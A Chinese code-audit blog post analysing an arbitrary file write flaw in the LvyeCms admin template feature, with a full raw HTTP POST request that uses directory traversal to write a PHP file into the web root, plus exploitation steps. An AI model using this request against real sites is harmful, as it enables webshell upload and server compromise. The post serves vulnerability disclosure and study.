[代码审计] LvyeCms 任意文件写入Getshell漏洞分析

  • A+
所属分类:代码审计

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析



接着上一篇文章中分析了一个CSRF漏洞,本篇文章依然是这个cms,分析一个任意文件写入Getshell漏洞,文末附上CMS源码,喜欢的点个转发、再看


一、漏洞简介:

在后台模板新建功能处,并没有对写入的内容进行任何的过滤,并且文件后缀就是写死为.php,所以直接可以写入webshell内容进行Getshell。



二、漏洞分析过程:

首先查看控制器方法:lvyecmsApplicationTemplateControllerStyleController.class.php

添加模板文件访问的是add()方法:这里首先会判断是否为POST请求,如果是,获取文件名、模板内容、以及目录名

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析



然后拼接完整的文件路径,然后直接将文件内容写入到完整的文件路径中去

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析



这里可以发现,前面的传参都是我们可控的,但是测试发现直接新建模板文件后,默认是添加在当前模板目录下,但实际是没有权限访问到这个文件的

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析


但是目录名也是通过POST传参获取的,是我们可控的,并且而程序没有对这个目录名dir参数进行任何的过滤,所以我们可以使用../ 的方式,将文件跨目录写入到网站根目录

POST /Lvyecms3.1/index.php?g=Template&m=Style&a=add HTTP/1.1Host: 192.168.136.137User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.136.137/Lvyecms3.1/index.php?g=Template&m=Style&a=add&dir=Cookie: UM_distinctid=175fe32e682524-0570e16459db8-13676d4a-144000-175fe32e68355f; CNZZDATA5760804=cnzz_eid%3D1456830227-1606287309-%26ntime%3D1606305680; PHPSESSID=okgritblkcbg4ra256sh5u5me3; __tins__14834816=%7B%22sid%22%3A%201606620965420%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201606624174754%7D; __51cke__=; __51laig__=4; menuid=92X-Forwarded-For: 127.0.0.1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 63
dir=../../&file=inc.php&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B


三、漏洞利用:

1、访问到模板新建功能:

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析



2、输入文件名,文件内容,点击提交后抓包

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析



然后将dir参数改为../../ 然后发包即可:

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析



可以成功访问到根目录下新建的模板文件:

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析




有需要源码的后台留言:lvyecms,即可获取!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析

[代码审计] LvyeCms 任意文件写入Getshell漏洞分析


本文始发于微信公众号(哈拉少安全小队):[代码审计] LvyeCms 任意文件写入Getshell漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: